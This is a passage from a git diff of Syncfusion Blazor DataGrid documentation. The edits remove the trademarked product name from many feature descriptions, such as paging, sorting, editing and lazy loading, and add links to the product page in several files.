 N> If multiple SDK versions are installed and a specific target framework (for example, net8.0/net9.0) is required, add the -f flag with the dotnet new blazorserver command. Refer to the [dotnet new options](https://learn.microsoft.com/en-us/dotnet/core/tools/dotnet-new) for available flags.
 
-### Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid and Themes NuGet in the app
+### Install Blazor DataGrid and Themes NuGet in the app
 
 To add the `Syncfusion.Blazor.Grid` NuGet package to the application, use the following command in the command prompt (Windows) or terminal (Linux/macOS). For more details, refer to [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli).
 
@@ -128,7 +128,7 @@ N> Review the [Blazor Themes](https://blazor.syncfusion.com/documentation/appear
 
 ### Add Blazor DataGrid
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid in the **~/Pages/Index.razor** file.
+Add the Blazor DataGrid in the **~/Pages/Index.razor** file.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -201,7 +201,7 @@ dotnet run
 
 ### Defining row data
 
-To bind data for the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, assign a `List<OrderData>` (or any collection that implements `IEnumerable<OrderData>`) to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property. The list data source can also be provided as an instance of the `DataManager`. The data source is typically assigned in the `OnInitialized` lifecycle method of the page.
+To bind data for the Blazor DataGrid, assign a `List<OrderData>` (or any collection that implements `IEnumerable<OrderData>`) to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property. The list data source can also be provided as an instance of the `DataManager`. The data source is typically assigned in the `OnInitialized` lifecycle method of the page.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -269,7 +269,7 @@ public class OrderData
 
 ### Defining columns
 
-Columns are automatically generated when the column declaration is empty or undefined during initialization of the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid.
+Columns are automatically generated when the column declaration is empty or undefined during initialization of the Blazor DataGrid.
 
 The Grid also supports defining columns using [GridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumns.html). In `GridColumn`, several properties are available to customize column behavior.
 
@@ -361,7 +361,7 @@ public class OrderData
 
 ### Enable paging
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can display records in a paged format. To enable paging, set the [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowPaging) property to **true**. Customize the pager using the [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings).
+The Blazor DataGrid can display records in a paged format. To enable paging, set the [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowPaging) property to **true**. Customize the pager using the [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings).
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -437,7 +437,7 @@ public class OrderData
 
 ### Enable sorting
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can sort records in ascending or descending order. To enable sorting, set the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) property to **true**. Customize sorting using the [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SortSettings).
+The Blazor DataGrid can sort records in ascending or descending order. To enable sorting, set the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) property to **true**. Customize sorting using the [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SortSettings).
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -512,7 +512,7 @@ public class OrderData
 
 ### Enable filtering
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can filter records to display only those that meet specific criteria. To enable filtering, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property to **true**. Customize filtering behavior using the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
+The Blazor DataGrid can filter records to display only those that meet specific criteria. To enable filtering, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property to **true**. Customize filtering behavior using the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -588,7 +588,7 @@ public class OrderData
 
 ### Enable grouping
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can group records by one or more columns. To enable grouping, set the [AllowGrouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowGrouping) property to **true**. Customize grouping behavior using the [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupSettings).
+The Blazor DataGrid can group records by one or more columns. To enable grouping, set the [AllowGrouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowGrouping) property to **true**. Customize grouping behavior using the [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupSettings).
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
diff --git a/blazor/datagrid/how-to/upgrade-application-to-latest-version.md b/blazor/datagrid/how-to/upgrade-application-to-latest-version.md
index 13ab3675c4..071e9f2e27 100644
--- a/blazor/datagrid/how-to/upgrade-application-to-latest-version.md
+++ b/blazor/datagrid/how-to/upgrade-application-to-latest-version.md
@@ -47,3 +47,5 @@ The following steps explain how to clean the cache:
 1. Delete/clear the `Syncfusion.Blazor` package from the installed location `{System drive}/Users/{user-name}/.nuget/packages/syncfusion.blazor`. On Windows, the installed location can also be accessed using `%userprofile%/.nuget/packages/syncfusion.blazor`.
 
 2. Update to the latest version of the `Syncfusion.Blazor` NuGet package.
+
+N> Looking for a complete Blazor DataGrid Component overview, including features, pricing, and documentation? Explore the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) Component page.
diff --git a/blazor/datagrid/how-to/use-radio-button-instead-of-checkbox.md b/blazor/datagrid/how-to/use-radio-button-instead-of-checkbox.md
index 321a59c42a..f280cc8bc7 100644
--- a/blazor/datagrid/how-to/use-radio-button-instead-of-checkbox.md
+++ b/blazor/datagrid/how-to/use-radio-button-instead-of-checkbox.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # How to use Radio Button Instead of Checkbox in Blazor DataGrid
 
-By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides checkbox selection for multiple row selection. When only one row should be selectable at a time, a radio button can be used instead of checkbox selection. This is achieved by using the [Column Template](https://blazor.syncfusion.com/documentation/datagrid/column-template) feature to render an [SfRadioButton](https://blazor.syncfusion.com/documentation/radio-button/getting-started-webapp) in each row. Assign the same radio group name for all rows so only one radio button can be selected at a time, and bind each radio button to a unique value from the data source (typically the primary key field).
+By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides checkbox selection for multiple row selection. When only one row should be selectable at a time, a radio button can be used instead of checkbox selection. This is achieved by using the [Column Template](https://blazor.syncfusion.com/documentation/datagrid/column-template) feature to render an [SfRadioButton](https://blazor.syncfusion.com/documentation/radio-button/getting-started-webapp) in each row. Assign the same radio group name for all rows so only one radio button can be selected at a time, and bind each radio button to a unique value from the data source (typically the primary key field).
 
 Steps to configure row selection using radio buttons:
 
diff --git a/blazor/datagrid/how-to/using-dictionary-values-in-grid-datasource.md b/blazor/datagrid/how-to/using-dictionary-values-in-grid-datasource.md
index eb292c1e99..2f578efa0d 100644
--- a/blazor/datagrid/how-to/using-dictionary-values-in-grid-datasource.md
+++ b/blazor/datagrid/how-to/using-dictionary-values-in-grid-datasource.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Using dictionary values as datasource in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can display values from a dictionary by using a column [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template). Because a dictionary is not a scalar field, the column cannot bind directly to it. Instead, the template accesses the dictionary via the row item and renders the corresponding value by matching the row’s key with the dictionary key.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can display values from a dictionary by using a column [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template). Because a dictionary is not a scalar field, the column cannot bind directly to it. Instead, the template accesses the dictionary via the row item and renders the corresponding value by matching the row’s key with the dictionary key.
 
 In the following example, the **ShipName** data is stored as a **Dictionary** and accessed inside the GridColumn template using the KeyValuePair type. The row’s **OrderID** is compared with the dictionary key, and the matching value is displayed. This approach lets each row retrieve and render the appropriate dictionary value from a shared lookup at runtime. For efficiency, ensure that a consistent key (such as the primary key) is used for the lookup, and consider a direct lookup pattern when rendering complex templates.
 
diff --git a/blazor/datagrid/images/blazor-datagrid-component.webp b/blazor/datagrid/images/blazor-datagrid-component.webp
index 978b733268..fcef2fba47 100644
Binary files a/blazor/datagrid/images/blazor-datagrid-component.webp and b/blazor/datagrid/images/blazor-datagrid-component.webp differ
diff --git a/blazor/datagrid/images/blazor-datagrid-maui-page.webp b/blazor/datagrid/images/blazor-datagrid-maui-page.webp
index 9b6d0c14fc..8846b4028a 100644
Binary files a/blazor/datagrid/images/blazor-datagrid-maui-page.webp and b/blazor/datagrid/images/blazor-datagrid-maui-page.webp differ
diff --git a/blazor/datagrid/in-line-editing.md b/blazor/datagrid/in-line-editing.md
index d9bf642d40..b83cda7712 100644
--- a/blazor/datagrid/in-line-editing.md
+++ b/blazor/datagrid/in-line-editing.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Inline editing in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides in-line editing functionality, enabling direct modification of cell values within the Grid. This approach supports efficient data updates without requiring a separate edit form.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides in-line editing functionality, enabling direct modification of cell values within the Grid. This approach supports efficient data updates without requiring a separate edit form.
 
 To activate in-line editing, set the [GridEditSettings.Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Mode) property to **Normal**. This property defines the editing mode used by the Grid.
 
@@ -83,7 +83,7 @@ public class OrderDetails
 
 ## Automatically update a specific column based on another column edited value
 
-Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports automatic updates to a column value based on changes made to another related column during in-line editing. This behavior is enabled using the Cell Edit Template feature.
+Blazor DataGrid supports automatic updates to a column value based on changes made to another related column during in-line editing. This behavior is enabled using the Cell Edit Template feature.
 
 To configure this functionality in normal edit mode, use the [RowUpdating](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowUpdating) and [RowEdited](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowEdited) events, along with the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) property of the Grid.
 
@@ -197,7 +197,7 @@ public class ProductDetails
 
 ## Cancel edit based on condition
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid canceling edit operations for specific rows or cells based on defined conditions. This functionality provides control over whether editing is permitted or restricted for particular rows or cells within the Grid.
+The Blazor DataGrid canceling edit operations for specific rows or cells based on defined conditions. This functionality provides control over whether editing is permitted or restricted for particular rows or cells within the Grid.
 
 To cancel an edit operation based on a specific condition, handle the following Grid events. These events are triggered during CRUD (Create, Read, Update, and Delete) operations in the Grid:
 
@@ -308,7 +308,7 @@ public class EmployeeDetails
 
 ## Perform CRUD action programmatically
 
-CRUD operations—Create, Read, Update, and Delete—can be executed programmatically in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid using built-in methods, without manual interaction.
+CRUD operations—Create, Read, Update, and Delete—can be executed programmatically in Blazor DataGrid using built-in methods, without manual interaction.
 
 * To add a new record, use the [AddRecordAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AddRecordAsync__0_System_Nullable_System_Int32__) method. Pass the **data** parameter to insert a new record and the **index** parameter to specify the position. If no parameters are provided, an empty row is created at index **0**.
 
@@ -448,7 +448,7 @@ public class OrderDetails
 
 ## Show confirmation dialog while deleting
 
-Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports displaying a confirmation dialog before deleting a record. This dialog provides an additional safeguard to prevent accidental or unintended deletions. Deletion proceeds only after confirmation is received.
+Blazor DataGrid supports displaying a confirmation dialog before deleting a record. This dialog provides an additional safeguard to prevent accidental or unintended deletions. Deletion proceeds only after confirmation is received.
 
 To enable the confirmation dialog for delete operations, set the [ShowDeleteConfirmDialog](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_ShowDeleteConfirmDialog) property of the [GridEditSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html) configuration to **true**. The default value of this property is **false**.
 
@@ -531,7 +531,7 @@ public class OrderDetails
 
 ## Display default value for columns while adding
 
-Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports assigning default values to columns when adding a new record. This functionality streamlines data entry by pre-filling specific fields with predefined values.
+Blazor DataGrid supports assigning default values to columns when adding a new record. This functionality streamlines data entry by pre-filling specific fields with predefined values.
 To configure default values, set the [DefaultValue](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_DefaultValue) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) configuration. When a new row is added, the Grid automatically populates the specified default value in the corresponding column.
 
 {% tabs %}
@@ -604,11 +604,11 @@ public class OrderDetails
 
 ## Delete multiple rows
 
-Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports deletion of multiple rows simultaneously. This functionality can be implemented using either the built-in toolbar or programmatically through method invocation.
+Blazor DataGrid supports deletion of multiple rows simultaneously. This functionality can be implemented using either the built-in toolbar or programmatically through method invocation.
 
 **1. Using the built-in toolbar delete option**
 
-Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides a toolbar interface for performing actions such as deleting rows. To enable deletion of multiple rows using the toolbar, configure the [Toolbar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Toolbar) property and set the [GridSelectionSettings.Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_Type) property to **Multiple**.
+Blazor DataGrid provides a toolbar interface for performing actions such as deleting rows. To enable deletion of multiple rows using the toolbar, configure the [Toolbar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Toolbar) property and set the [GridSelectionSettings.Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_Type) property to **Multiple**.
 
 After selecting rows using checkboxes or row highlighting, clicking the delete icon in the toolbar removes the selected records from the Grid.
 
@@ -765,7 +765,7 @@ public class OrderDetails
 
 ## Adding a new row at the bottom of the Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports adding new rows at the bottom of the data set. This configuration simplifies record insertion by placing new entries at the end of the Grid.
+The Blazor DataGrid supports adding new rows at the bottom of the data set. This configuration simplifies record insertion by placing new entries at the end of the Grid.
 
 By default, new rows are inserted at the **top**. To change this behavior, set the [NewRowPosition](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_NewRowPosition) property of the [GridEditSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html) configuration to **Bottom**. This property determines the position where new rows are inserted.
 
@@ -863,7 +863,7 @@ public class OrderDetails
 
 ## Saving a new row at a particular index
 
-Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports saving newly added rows at a specific index within the data source. By default, new rows are inserted and saved at the top of the Grid’s data source. Certain scenarios may require saving the new row at a custom position, such as at the end of the current page or a specific index based on business logic.
+Blazor DataGrid supports saving newly added rows at a specific index within the data source. By default, new rows are inserted and saved at the top of the Grid’s data source. Certain scenarios may require saving the new row at a custom position, such as at the end of the current page or a specific index based on business logic.
 
 To configure a custom save position, set the **args.Index** property during the [OnActionBegin](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html) event of the Grid. This property defines the index at which the new row is saved in the underlying data source.
 
@@ -924,7 +924,7 @@ The following example demonstrates how to use the `ActionBegin` event and **args
 
 ## Show add new row always in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports continuous record addition by displaying a persistent blank "add new row" form within the Grid. This feature simplifies data entry by keeping the new row interface visible at all times.
+The Blazor DataGrid supports continuous record addition by displaying a persistent blank "add new row" form within the Grid. This feature simplifies data entry by keeping the new row interface visible at all times.
 
 To enable this behavior, set the  [ShowAddNewRow](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_ShowAddNewRow) property to **true** in the [GridEditSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html) configuration. The position of the add new row can be controlled using the [NewRowPosition](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_NewRowPosition) property. By default, the new row is displayed at the top of the Grid content.
 
@@ -1002,7 +1002,7 @@ public class OrderDetails
 
 ## Enable editing in single click
 
-Single-click editing in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows a row to enter edit mode with a single click in **Normal** editing mode. This behavior can be configured using the [StartEditAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_StartEditAsync) and [EndEditAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EndEditAsync) methods.
+Single-click editing in Blazor DataGrid allows a row to enter edit mode with a single click in **Normal** editing mode. This behavior can be configured using the [StartEditAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_StartEditAsync) and [EndEditAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EndEditAsync) methods.
 
 To implement single-click editing, bind the [OnRecordClick](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnRecordClick) event. Within the event handler, invoke `StartEditAsync` to begin editing the clicked row and `EndEditAsync` to finalize or cancel editing for the previously edited row.
 
@@ -1089,7 +1089,7 @@ public class OrderDetails
 
 ## Disable editing for a particular row
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports conditional editing restrictions for specific rows. This feature ensures data integrity by preventing modifications to rows containing read-only, calculated, or protected information.
+The Blazor DataGrid supports conditional editing restrictions for specific rows. This feature ensures data integrity by preventing modifications to rows containing read-only, calculated, or protected information.
 
 To disable editing for a particular row, handle the [RowEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowEditing) event of the Grid. Within the event handler, set the **args.Cancel** property to **true** to prevent editing for the targeted row.
 
@@ -1169,7 +1169,7 @@ public class OrderDetails
 
 ## Provide new item or edited item using events
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid uses **Activator.CreateInstance<TValue>()** to create or clone a new record instance during add and edit operations. To support this behavior, the model class and any referenced complex type classes must include parameterless constructors.
+The Blazor DataGrid uses **Activator.CreateInstance<TValue>()** to create or clone a new record instance during add and edit operations. To support this behavior, the model class and any referenced complex type classes must include parameterless constructors.
 
 In scenarios where custom logic is required to create a new object, or when an object instance cannot be created using **Activator.CreateInstance<TValue>()**, a model object instance can be manually provided using Grid events.
 
@@ -1264,7 +1264,7 @@ public class OrderDetails
 
 ## Supported events for inline and dialog editing
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports a range of events during inline and dialog editing operations. These events provide control over add, edit, update, delete, and cancel actions, enabling customization of Grid behavior.
+The Blazor DataGrid supports a range of events during inline and dialog editing operations. These events provide control over add, edit, update, delete, and cancel actions, enabling customization of Grid behavior.
 
 **Sequence of events**
 
diff --git a/blazor/datagrid/infinite-scrolling.md b/blazor/datagrid/infinite-scrolling.md
index 570e9f44ca..478a59e21f 100644
--- a/blazor/datagrid/infinite-scrolling.md
+++ b/blazor/datagrid/infinite-scrolling.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Infinite scroll in Blazor DataGrid
 
-The infinite scrolling feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides load-on-demand data retrieval to handle large datasets without degrading performance. In default infinite scrolling, the Grid fetches the next block of data when the vertical scrollbar reaches the end of the scroller, creating a seamless browsing experience across extensive data.
+The infinite scrolling feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides load-on-demand data retrieval to handle large datasets without degrading performance. In default infinite scrolling, the Grid fetches the next block of data when the vertical scrollbar reaches the end of the scroller, creating a seamless browsing experience across extensive data.
 
 In this feature, a block is equivalent to the Grid’s [PageSize](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridPageSettings.html#Syncfusion_Blazor_Grids_GridPageSettings_PageSize). If `PageSize` is not set, the Grid calculates it from the viewport height and row height. To enable infinite scrolling, set [EnableInfiniteScrolling](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableInfiniteScrolling) to **true** and define a content [Height](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Height).
 
@@ -183,7 +183,7 @@ public class TaskDetails
 
 ## Efficient data caching and DOM management in Grid cache mode
 
-In Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid cache mode, previously loaded blocks are reused when revisited, reducing repeat data requests. The Grid manages the number of rendered DOM row elements using [GridInfiniteScrollSettings.MaximumBlocks](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridInfiniteScrollSettings.html#Syncfusion_Blazor_Grids_GridInfiniteScrollSettings_MaximumBlocks). When this limit is reached, the Grid removes an older block of row elements to render new ones.
+In Blazor DataGrid cache mode, previously loaded blocks are reused when revisited, reducing repeat data requests. The Grid manages the number of rendered DOM row elements using [GridInfiniteScrollSettings.MaximumBlocks](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridInfiniteScrollSettings.html#Syncfusion_Blazor_Grids_GridInfiniteScrollSettings_MaximumBlocks). When this limit is reached, the Grid removes an older block of row elements to render new ones.
 
 Enable cache mode by setting [EnableCache](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridInfiniteScrollSettings.html#Syncfusion_Blazor_Grids_GridInfiniteScrollSettings_EnableCache) to **true** on [GridInfiniteScrollSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridInfiniteScrollSettings.html).
 
diff --git a/blazor/datagrid/lazy-load-grouping.md b/blazor/datagrid/lazy-load-grouping.md
index 75a0fe47bb..6ee0f0fad6 100644
--- a/blazor/datagrid/lazy-load-grouping.md
+++ b/blazor/datagrid/lazy-load-grouping.md
@@ -11,7 +11,7 @@ documentation: ug
 
 In Blazor, lazy loading refers to loading data dynamically only when needed, rather than loading everything upfront. This approach reduces initial load time and improves application performance.
 
-Lazy load grouping in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid efficiently loads grouped data by fetching only the required records on demand. This feature is especially useful for large datasets where loading all rows at once can affect performance. When grouping is applied, the DataGrid initially renders only top-level group caption rows in a collapsed state. The child rows for each group are fetched on demand and rendered when the corresponding caption row is expanded.
+Lazy load grouping in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) efficiently loads grouped data by fetching only the required records on demand. This feature is especially useful for large datasets where loading all rows at once can affect performance. When grouping is applied, the DataGrid initially renders only top-level group caption rows in a collapsed state. The child rows for each group are fetched on demand and rendered when the corresponding caption row is expanded.
 
 To enable this feature, set [EnableLazyLoading](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridGroupSettings.html#Syncfusion_Blazor_Grids_GridGroupSettings_EnableLazyLoading) to **true** in [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupSettings). Ensure grouping is enabled by setting AllowGrouping to true.
 
@@ -228,7 +228,7 @@ public class OrderData
 
 ## Lazy load grouping with virtual scrolling
 
-The lazy load grouping with virtual scrolling feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid efficiently presents large grouped datasets by reducing initial load time and providing smooth scrolling.
+The lazy load grouping with virtual scrolling feature in the Blazor DataGrid efficiently presents large grouped datasets by reducing initial load time and providing smooth scrolling.
 
 **How lazy load grouping with virtual scrolling works**
 
diff --git a/blazor/datagrid/paging.md b/blazor/datagrid/paging.md
index 3355b1c559..7f1edc104d 100644
--- a/blazor/datagrid/paging.md
+++ b/blazor/datagrid/paging.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Paging in Blazor DataGrid
 
-Paging provides an option to display Syncfusion Blazor DataGrid data in segmented pages, making it easier to navigate large datasets. This feature is particularly useful when dealing with extensive data sets.
+Paging provides an option to display Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) data in segmented pages, making it easier to navigate large datasets. This feature is particularly useful when dealing with extensive data sets.
 
 To enable paging, set the [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowPaging) property to **true**. When paging is enabled, a pager is rendered at the bottom of the Grid, allowing navigation through different pages of data.
 
@@ -19,11 +19,11 @@ Paging options can be configured through the [GridPageSettings](https://help.syn
 
 ## Customize the pager options
 
-Customizing pager options in  Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid helps adjust pagination to specific needs. The **PageCount** property sets the number of numeric buttons. The **CurrentPage** property defines the active page. The **PageSize** property specifies the number of records displayed per page. The **PageSizes** property provides a dropdown for selecting different page sizes.
+Customizing pager options in  Blazor DataGrid helps adjust pagination to specific needs. The **PageCount** property sets the number of numeric buttons. The **CurrentPage** property defines the active page. The **PageSize** property specifies the number of records displayed per page. The **PageSizes** property provides a dropdown for selecting different page sizes.
 
 ### Change the page size
 
